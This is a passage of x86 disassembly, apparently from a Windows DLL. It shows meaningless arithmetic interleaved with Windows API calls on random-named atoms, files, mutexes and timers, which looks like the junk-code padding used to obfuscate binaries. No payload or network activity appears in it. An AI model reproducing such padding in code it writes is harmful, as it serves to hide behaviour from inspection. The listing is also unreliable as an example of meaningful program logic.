movsx eax, byte [edx]
movsx ecx, byte [ebp - 0xef]
add eax, ecx
mov byte [ebp - 0xcf], al
mov edx, dword [ebp - 0x3580]
push edx
mov eax, dword [0x100b94ac]
push eax
call dword [sym.imp.OLEAUT32.dll_OleCreatePropertyFrameIndirect]
mov dword [0x100b9634], eax
push 1
push 0
mov ecx, dword [ebp - 0x97f8]
push ecx
mov edx, dword [ebp - 0x97fc]
push edx
mov eax, dword [0x100b9500]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x3584], eax
mov ecx, dword [ebp - 0x3494]
mov edx, dword [0x100b94a4]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x33b4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3588], eax
movzx ecx, byte [ebp - 0x1a5]
mov edx, dword [ebp - 0x33e4]
movzx eax, byte [edx]
or ecx, eax
mov byte [0x100b713f], cl
mov ecx, dword [0x100b95f0]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3570]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x84c], dx
mov cx, word [ebp - 0x1140]
mov word [ebp - 0x1160], cx
push str.7FeIy.fz300K
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9638], ax
mov edx, dword [0x100b951c]
movsx eax, word [edx]
mov dword [ebp - 0x358c], eax
cmp dword [ebp - 0x358c], 0x3bf
je 0x10008234
jmp 0x1000827f
mov ecx, dword [ebp - 0x3538]
movsx edx, byte [ecx]
movsx ecx, byte [str._AaV]
sar edx, cl
mov eax, dword [0x100b955c]
mov byte [eax], dl
movzx ecx, word [ebp - 0x1150]
mov edx, dword [0x100b95f0]
movzx eax, word [edx]
and ecx, eax
mov word [ebp - 0x108c], cx
mov ecx, dword [0x100b9630]
push ecx
mov edx, dword [ebp - 0x3394]
push edx
call dword [sym.imp.OLEAUT32.dll_OleCreatePropertyFrameIndirect]
mov dword [0x100b963c], eax
lea eax, [ebp - 0x9bc8]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9640], eax
mov ecx, dword [ebp - 0x350c]
mov edx, dword [0x100b71dc]
imul edx, dword [ecx]
mov eax, dword [ebp - 0x346c]
mov dword [eax], edx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x34e4], eax
mov ecx, dword [ebp - 0x2afc]
mov dword [0x100b9644], ecx
mov edx, dword [0x100b9598]
mov al, byte [edx]
mov byte [ebp - 0x265], al
push 1
push 0
mov ecx, dword [ebp - 0x9800]
push ecx
mov edx, dword [ebp - 0x9804]
push edx
mov eax, dword [0x100b9494]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x3590], eax
mov ecx, dword [ebp - 0x3450]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x34ac]
movsx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x115c], dx
movsx edx, byte [0x100b713e]
mov eax, dword [ebp - 0x349c]
movsx ecx, byte [eax]
and edx, ecx
mov byte [str._AaV], dl
mov edx, dword [ebp - 0x3570]
movzx eax, word [edx]
movzx ecx, word [0x100b71d4]
sar eax, cl
mov ecx, dword [ebp - 0x3428]
mov word [ecx], ax
mov edx, dword [ebp - 0x3494]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x3458]
shl eax, cl
mov dword [ebp - 0x2d88], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b957c], eax
mov ecx, dword [ebp - 0x346c]
mov edx, dword [ebp - 0x34c0]
or edx, dword [ecx]
mov eax, dword [0x100b95f8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2afc]
mov dword [ebp - 0x3594], ecx
cmp dword [ebp - 0x3594], 0x4005
je 0x10008396
jmp 0x100083e5
mov edx, dword [0x100b9598]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x33e4]
movzx edx, byte [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x3548]
mov byte [ecx], al
mov edx, dword [ebp - 0x349c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x3490]
movsx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x262], al
mov eax, dword [ebp - 0x3450]
movsx ecx, word [eax]
movsx edx, word [0x100b95ec]
and ecx, edx
mov word [0x100b94a0], cx
mov eax, dword [ebp - 0x355c]
mov ecx, dword [eax]
mov dword [ebp - 0x3598], ecx
cmp dword [ebp - 0x3598], 0x7c4b7b71
je 0x10008401
jmp 0x10008423
lea edx, [ebp - 0x9be0]
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [0x100b9544]
movzx ecx, word [eax]
imul edx, ecx, 0xf9f
mov word [ebp - 0x108c], dx
lea eax, [ebp - 0x3458]
mov dword [ebp - 0x359c], eax
movsx edx, byte [ebp - 0xf1]
mov eax, dword [0x100b955c]
movsx ecx, byte [eax]
sar edx, cl
mov byte [0x100b7142], dl
mov ecx, dword [ebp - 0x3488]
movsx edx, word [ecx]
mov dword [ebp - 0x35a0], edx
cmp dword [ebp - 0x35a0], 0xffffdcd4
je 0x10008463
jmp 0x100084c2
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9648], eax
movzx eax, byte [ebp - 0x2f]
movzx ecx, byte [ebp - 0x8f]
xor eax, ecx
mov edx, dword [ebp - 0x3534]
mov byte [edx], al
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x35a4], eax
movzx eax, word [ebp - 0x112c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b94ec], ax
push 0
push 8
push 1
push 0
push 2
push 0xc0000000
push str.3zqdBWULD
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100b964c], eax
mov ecx, dword [ebp - 0x3418]
mov edx, dword [0x100b9540]
sub edx, dword [ecx]
mov dword [ebp - 0x2db8], edx
mov eax, dword [0x100b94a4]
mov ecx, dword [eax]
mov dword [ebp - 0x35a8], ecx
cmp dword [ebp - 0x35a8], 0x3ef67
je 0x100084f1
jmp 0x1000850f
lea edx, [ebp - 0x61c]
mov dword [0x100b9650], edx
push str.z_nyQk.Xm
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1164], ax
lea eax, [ebp - 0x1130]
mov dword [ebp - 0x35ac], eax
mov ecx, dword [0x100b9620]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x2afc]
shl edx, cl
mov dword [ebp - 0x2d88], edx
lea eax, [ebp - 0xbb]
mov dword [0x100b9654], eax
push 0
push 0x200
push 1
push 0
push 1
push 0x40000000
push str.J0OJOApqG0XKb_a5Wn5fI
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x35b0], eax
movzx ecx, byte [ebp - 0x2f]
mov edx, dword [0x100b9598]
movzx eax, byte [edx]
or ecx, eax
mov edx, dword [ebp - 0x3548]
mov byte [edx], cl
mov eax, dword [0x100b9650]
mov cx, word [eax]
mov word [ebp - 0x1168], cx
mov edx, dword [ebp - 0x33ec]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3570]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [0x100b9544]
mov word [ecx], ax
mov edx, dword [0x100b9540]
mov dword [ebp - 0x35b4], edx
cmp dword [ebp - 0x35b4], 1
je 0x100085bc
jmp 0x100a36d2
movsx eax, word [ebp - 0x1144]
mov ecx, dword [ebp - 0x35ac]
movsx edx, word [ecx]
xor eax, edx
mov word [ebp - 0x115c], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b953c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x33c8], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b949c], eax
mov eax, dword [ebp - 0x3494]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x3458]
sar edx, cl
mov dword [0x100b71e0], edx
mov eax, dword [ebp - 0x3490]
mov cl, byte [eax]
mov byte [ebp - 0x266], cl
lea edx, [ebp - 0x265]
mov dword [0x100b9660], edx
movzx eax, word [0x100b94f8]
movzx ecx, word [ebp - 0x1148]
xor eax, ecx
mov edx, dword [ebp - 0x3570]
mov word [edx], ax
mov eax, dword [ebp - 0x2e18]
cdq
mov ecx, 0x4e7f
idiv ecx
mov dword [ebp - 0x2c90], eax
mov edx, dword [ebp - 0x3028]
mov ecx, dword [ebp - 0x3080]
shl edx, cl
mov dword [0x100b9524], edx
mov eax, dword [ebp - 0x34ac]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x3450]
movsx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x34ac]
mov word [edx], cx
mov al, byte [ebp - 0x1d5]
mov byte [ebp - 0x267], al
mov dword [0x100b9664], 0x100b713f
movsx ecx, byte [ebp - 0xcf]
movsx edx, byte [0x100b7dfe]
and ecx, edx
mov eax, dword [ebp - 0x3538]
mov byte [eax], cl
lea ecx, [ebp - 0x33b4]
mov dword [ebp - 0x35b8], ecx
mov edx, dword [ebp - 0x3428]
mov ax, word [edx]
mov word [0x100b9668], ax
lea ecx, [ebp - 0x1140]
mov dword [ebp - 0x35bc], ecx
mov edx, dword [ebp - 0x3028]
or edx, dword [ebp - 0x2db8]
mov dword [ebp - 0x3080], edx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x35c0], eax
movzx eax, byte [0x100b7dff]
movzx ecx, byte [ebp - 0x260]
sar eax, cl
mov byte [0x100b7143], al
lea ecx, [ebp - 0x262]
mov dword [ebp - 0x35c4], ecx
mov edx, dword [ebp - 0x355c]
mov eax, dword [ebp - 0x359c]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x33e8]
mov dword [edx], ecx
movzx eax, word [0x100b71d0]
mov ecx, dword [ebp - 0x33b8]
movzx edx, word [ecx]
add eax, edx
mov word [0x100b94f8], ax
push str.Agb_MQG
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b966c], ax
push 0
push 0x400
push 5
push 0
push 4
push 0xc0000000
push str.a9mkWyhY3qe4V5nlVFX
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100b9670], eax
lea eax, [ebp - 0x1144]
mov dword [ebp - 0x35c8], eax
push str.9FRrJ8A_A.TKo_Ly
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x116c], ax
push 0xff0
push 0x1412
push 0x1d7a
push 0x345d
mov ecx, dword [ebp - 0x3554]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [0x100b9674], eax
movzx edx, word [ebp - 0x1158]
mov eax, dword [0x100b95f0]
movzx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x84c], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9640], eax
mov edx, dword [ebp - 0x33e4]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x2f]
sub eax, ecx
mov byte [0x100b7df6], al
movzx edx, word [ebp - 0x114c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1170], ax
mov eax, dword [0x100b9550]
mov ecx, dword [ebp - 0x33fc]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x2ec4], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9640], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x35cc], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9678], eax
push str.zZ38ZAH_6PGO_QY_RyCYf
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1154], ax
mov eax, dword [0x100b94a4]
mov ecx, dword [0x100b71e0]
imul ecx, dword [eax]
mov dword [ebp - 0x2d88], ecx
mov dl, byte [ebp - 0x262]
mov byte [0x100b7e02], dl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b94cc], eax
lea eax, [ebp - 0x9bf8]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b967c], eax
lea ecx, [ebp - 0x1148]
mov dword [ebp - 0x35d0], ecx
mov edx, dword [ebp - 0x34ac]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1160]
or eax, ecx
mov word [ebp - 0x115c], ax
mov edx, dword [ebp - 0x35c4]
mov al, byte [edx]
mov byte [0x100b7e03], al
push 0x24af
mov ecx, dword [ebp - 0x35cc]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100b9680], eax
mov edx, dword [0x100b9660]
mov al, byte [edx]
mov byte [ebp - 0x268], al
movzx ecx, word [0x100b9528]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1174], ax
mov edx, dword [ebp - 0x346c]
mov eax, dword [ebp - 0x3418]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [ebp - 0x33fc]
mov dword [eax], edx
push 0x6fc
push 0x1db0
push 0x1781
push 0x80e
mov ecx, dword [0x100b9500]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x3590], eax
movzx edx, word [ebp - 0x114c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9684], ax
mov eax, dword [ebp - 0x355c]
mov ecx, dword [ebp - 0x33e8]
mov edx, dword [eax]
add edx, dword [ecx]
mov dword [0x100b71e0], edx
movsx eax, byte [ebp - 0x262]
mov ecx, dword [ebp - 0x349c]
movsx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x35c4]
mov byte [ecx], al
mov edx, dword [ebp - 0x3570]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x108c]
xor eax, ecx
mov word [ebp - 0xd80], ax
mov edx, dword [ebp - 0x35ac]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x35c8]
movsx ecx, word [ecx]
shl eax, cl
mov word [0x100b94a0], ax
push 0
push 0x80
push 3
push 0
push 4
push 0xc0000000
push str.EoHL4fzOWOK6ueHXRbiD
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x35d4], eax
mov edx, dword [0x100b9598]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3454]
movzx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0x2f], al
mov eax, dword [ebp - 0x3478]
mov eax, dword [eax]
cdq
idiv dword [ebp - 0x2c90]
mov dword [ebp - 0x2d10], eax
mov dword [0x100b9688], 0x100b71cc
push 0x1775
mov ecx, dword [0x100b950c]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x3364], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b968c], eax
mov dword [ebp - 0x35d8], 0x100b9524
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x35dc], eax
push 0x100b9690
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movsx edx, byte [ebp - 0x262]
movsx eax, byte [0x100b7142]
add edx, eax
mov byte [ebp - 0x1d5], dl
lea ecx, [ebp - 0x1144]
mov dword [0x100b96a8], ecx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3588], eax
movzx edx, byte [ebp - 0x263]
mov eax, dword [ebp - 0x3454]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x2f], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b96ac], eax
mov ecx, dword [ebp - 0x2d10]
mov dword [ebp - 0x35e0], ecx
push str.RXViTE7j_VVFpK5.Yg_ZGaj6X
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9684], ax
mov edx, dword [0x100b959c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x3538]
movsx edx, byte [ecx]
or eax, edx
mov byte [str._AaV], al
lea eax, [ebp - 0x61c]
mov dword [ebp - 0x35e4], eax
mov ecx, dword [0x100b9650]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x33b8]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x35e4]
mov word [eax], dx
imul ecx, dword [ebp - 0x3028], 0x6f25
mov dword [0x100b9524], ecx
movsx edx, word [0x100b94a0]
mov eax, dword [ebp - 0x34ac]
movsx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0x608], dx
mov edx, dword [ebp - 0x33f4]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x2f]
sub eax, ecx
mov byte [ebp - 0x260], al
lea edx, [ebp - 0xad80]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
push 0x100
push 3
push 0
push 8
push 0xc0000000
push str.dVSA7idZ7pHo0E_npjCpwWh56KDL
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100b96b0], eax
mov eax, dword [ebp - 0x355c]
mov ecx, dword [ebp - 0x33e8]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [0x100b71e4], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x34f4], eax
mov eax, dword [0x100b950c]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov ecx, dword [0x100b955c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3490]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x34d0]
mov byte [eax], dl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x35e8], eax
lea ecx, [ebp - 0x1158]
mov dword [ebp - 0x35ec], ecx
movzx edx, word [0x100b71d4]
movzx ecx, word [ebp - 0x108c]
sar edx, cl
mov word [0x100b71e8], dx
lea eax, [ebp - 0xf1]
mov dword [ebp - 0x35f0], eax
mov ecx, dword [0x100b952c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x2db8]
mov eax, dword [0x100b958c]
mov dword [eax], edx
movsx ecx, word [ebp - 0x1130]
movsx edx, word [ebp - 0x1160]
or ecx, edx
mov word [ebp - 0x608], cx
mov eax, dword [ebp - 0x3454]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3524]
movzx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0xa7], cl
mov ecx, dword [ebp - 0x3478]
mov esi, dword [ebp - 0x33e8]
mov eax, dword [ecx]
cdq
idiv dword [esi]
mov edx, dword [0x100b9620]
mov dword [edx], eax
mov ax, word [ebp - 0x1148]
mov word [ebp - 0x1178], ax
mov ecx, dword [0x100b9620]
mov edx, dword [ecx]
add edx, dword [ebp - 0x33d4]
mov dword [ebp - 0x2c90], edx
mov eax, dword [0x100b9508]
mov cx, word [eax]
mov word [0x100b96b4], cx
mov edx, dword [ebp - 0x350c]
mov eax, dword [ebp - 0x2ec4]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x2ef4], eax
push 0x100b96b8
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ecx, dword [ebp - 0x3454]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x268]
and edx, eax
mov ecx, dword [ebp - 0x3454]
mov byte [ecx], dl
mov dword [0x100b96d0], 0x100b7e03
lea edx, [ebp - 0x1d5]
mov dword [ebp - 0x35f4], edx
mov eax, dword [ebp - 0x35e0]
mov ecx, dword [ebp - 0x33d4]
sar eax, cl
mov ecx, dword [ebp - 0x359c]
mov dword [ecx], eax
push str.YMXOAYO_eS9
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x117c], ax
mov edx, dword [ebp - 0x33e4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3454]
movzx edx, byte [ecx]
xor eax, edx
mov byte [0x100b7143], al
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3364], eax
mov eax, dword [ebp - 0x34ac]
mov cx, word [eax]
mov word [ebp - 0x1180], cx
push 0x27a0
push 0x1211
push 0x349c
push 0x3e35
mov edx, dword [0x100b964c]
push edx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x3370], eax
mov eax, dword [0x100b9628]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x35f8], eax
lea ecx, [ebp - 0x1148]
mov dword [ebp - 0x35fc], ecx
lea edx, [ebp - 0x2db8]
mov dword [0x100b96d4], edx
movsx eax, byte [str._AaV]
movsx ecx, byte [0x100b713e]
add eax, ecx
mov byte [ebp - 0xcf], al
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b96d8], eax
push 0x214e
mov edx, dword [ebp - 0x34cc]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100b96dc], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b949c], eax
mov eax, dword [ebp - 0x355c]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x2c90]
mov edx, dword [ebp - 0x35b8]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x268]
movzx ecx, byte [0x100b7dff]
and eax, ecx
mov byte [0x100b712f], al
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3600], eax
mov edx, dword [ebp - 0x33b8]
mov ax, word [edx]
mov word [ebp - 0x1184], ax
mov ecx, dword [ebp - 0x35bc]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x1180]
sub edx, eax
mov word [ebp - 0x970], dx
movsx edx, byte [ebp - 0x266]
movsx ecx, byte [ebp - 0x261]
shl edx, cl
mov byte [0x100b714a], dl
mov eax, dword [ebp - 0x33dc]
movzx edx, word [eax]
movzx ecx, word [ebp - 0x84c]
sar edx, cl
mov eax, dword [ebp - 0x3540]
mov word [eax], dx
mov ecx, dword [ebp - 0x2ec4]
mov dword [ebp - 0x3604], ecx
mov edx, dword [ebp - 0x3478]
mov eax, dword [ebp - 0x2c90]
xor eax, dword [edx]
mov ecx, dword [0x100b9584]
mov dword [ecx], eax
movzx edx, byte [0x100b712e]
movzx eax, byte [0x100b712f]
add edx, eax
mov ecx, dword [ebp - 0x33e4]
mov byte [ecx], dl
mov edx, dword [ebp - 0x35c8]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x35bc]
movsx edx, word [ecx]
and eax, edx
mov ecx, dword [ebp - 0x3450]
mov word [ecx], ax
mov edx, dword [ebp - 0x3538]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x3490]
movsx edx, byte [ecx]
xor eax, edx
mov byte [0x100b714a], al
push str.WTNKu_KxCrXBkDB2cRsng
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b96e0], ax
movzx eax, word [ebp - 0x1164]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b962c], ax
mov ecx, dword [ebp - 0x35e4]
movzx edx, word [ecx]
movzx eax, word [0x100b94f8]
or edx, eax
mov word [ebp - 0x97c], dx
mov eax, dword [ebp - 0x2c90]
cdq
mov ecx, 0x54e1
idiv ecx
mov edx, dword [ebp - 0x359c]
mov dword [edx], eax
lea eax, [ebp - 0x2db8]
mov dword [0x100b96e4], eax
lea ecx, [ebp - 0x8f]
mov dword [ebp - 0x3608], ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x360c], eax
mov edx, dword [ebp - 0x349c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x3538]
movsx ecx, byte [ecx]
shl eax, cl
mov byte [ebp - 0x262], al
movsx edx, word [0x100b95ec]
mov eax, dword [0x100b96a8]
movsx ecx, word [eax]
sar edx, cl
mov ecx, dword [0x100b951c]
mov word [ecx], dx
lea edx, [ebp - 0xd80]
mov dword [ebp - 0x3610], edx
mov eax, dword [ebp - 0x3478]
mov ecx, dword [eax]
add ecx, dword [0x100b9644]
mov edx, dword [ebp - 0x3478]
mov dword [edx], ecx
mov al, byte [ebp - 0x266]
mov byte [0x100b7e0e], al
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3614], eax
mov dword [ebp - 0x3618], 0x100b712f
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b96e8], eax
mov ecx, dword [ebp - 0x34c0]
and ecx, dword [0x100b9540]
mov edx, dword [ebp - 0x350c]
mov dword [edx], ecx
movzx eax, word [ebp - 0x97c]
mov ecx, dword [ebp - 0x35ec]
movzx edx, word [ecx]
xor eax, edx
mov word [0x100b71d8], ax
lea eax, [ebp - 0x115c]
mov dword [ebp - 0x361c], eax
mov ecx, dword [ebp - 0x3494]
mov edx, dword [ecx]
add edx, dword [ebp - 0x3458]
mov eax, dword [ebp - 0x33e8]
mov dword [eax], edx
mov dword [0x100b96ec], 0x100b7d97
lea ecx, [ebp - 0x2f]
mov dword [ebp - 0x3620], ecx
mov edx, dword [ebp - 0x33dc]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3610]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0x1158], ax
movzx eax, word [ebp - 0x1138]
mov ecx, dword [ebp - 0x35d0]
movzx edx, word [ecx]
or eax, edx
mov ecx, dword [0x100b9544]
mov word [ecx], ax
push 0x206e
mov edx, dword [ebp - 0x35e8]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100b957c], eax
push str.HKH0_KzMOV0Kb
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b96f0], ax
lea eax, [ebp - 0xada4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0x2ce
mov ecx, dword [0x100b950c]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x3568], eax
mov edx, dword [0x100b9524]
mov ecx, dword [ebp - 0x3604]
shl edx, cl
mov dword [ebp - 0x2be8], edx
mov eax, dword [ebp - 0x35c8]
movsx edx, word [eax]
movsx ecx, word [ebp - 0x1140]
sar edx, cl
mov eax, dword [ebp - 0x3450]
mov word [eax], dx
lea ecx, [ebp - 0x35e0]
mov dword [0x100b96f4], ecx
lea edx, [ebp - 0x1f4]
mov dword [ebp - 0x3624], edx
mov al, byte [ebp - 0x1a5]
mov byte [0x100b7e0f], al
push str.H47r4_tJlKNSq
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1188], ax
mov ecx, dword [0x100b95f0]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1184]
and edx, eax
mov ecx, dword [ebp - 0x33dc]
mov word [ecx], dx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100b96f8], eax
mov dword [ebp - 0x3628], 0x100b71c8
mov edx, dword [ebp - 0x346c]
mov eax, dword [0x100b95f8]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov edx, dword [0x100b958c]
mov dword [edx], ecx
lea eax, [ebp - 0x1180]
mov dword [ebp - 0x362c], eax
mov ecx, dword [ebp - 0x3490]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3624]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x34d0]
mov byte [eax], dl
lea ecx, [ebp - 0x268]
mov dword [0x100b96fc], ecx
mov edx, dword [ebp - 0x349c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x3538]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x266], al
push str.VDVJ3gjWjJ5
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b95a0], ax
mov dword [ebp - 0x3630], 0x100b71e4
movzx eax, word [ebp - 0x61c]
movzx ecx, word [ebp - 0x97c]
sar eax, cl
mov word [0x100b71cc], ax
movsx edx, word [ebp - 0x608]
movsx ecx, word [0x100b95ec]
shl edx, cl
mov eax, dword [ebp - 0x3450]
mov word [eax], dx
movzx ecx, word [ebp - 0x1188]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1188], ax
push str.AI.EkXFTA60GI
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9700], ax
mov edx, dword [0x100b958c]
mov eax, dword [edx]
mov dword [ebp - 0x3634], eax
push 0
push 0x100
push 2
push 0
push 2
push 0xc0000000
push str.xKsOiwf7T40lw
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3638], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9640], eax
mov ecx, dword [ebp - 0x33e4]
movzx edx, byte [ecx]
movzx eax, byte [0x100b7e0f]
or edx, eax
mov ecx, dword [0x100b9660]
mov byte [ecx], dl
mov edx, dword [ebp - 0x3490]
mov al, byte [edx]
mov byte [ebp - 0x269], al
push 0xa92
push 0
push 0x100b94fc
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x3588], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x363c], eax
mov ecx, dword [ebp - 0x3494]
mov edx, dword [ecx]
xor edx, dword [0x100b9644]
mov eax, dword [ebp - 0x3478]
mov dword [eax], edx
movzx ecx, word [ebp - 0x1150]
movzx edx, word [0x100b71d0]
add ecx, edx
mov word [0x100b71ec], cx
push 0
push 0
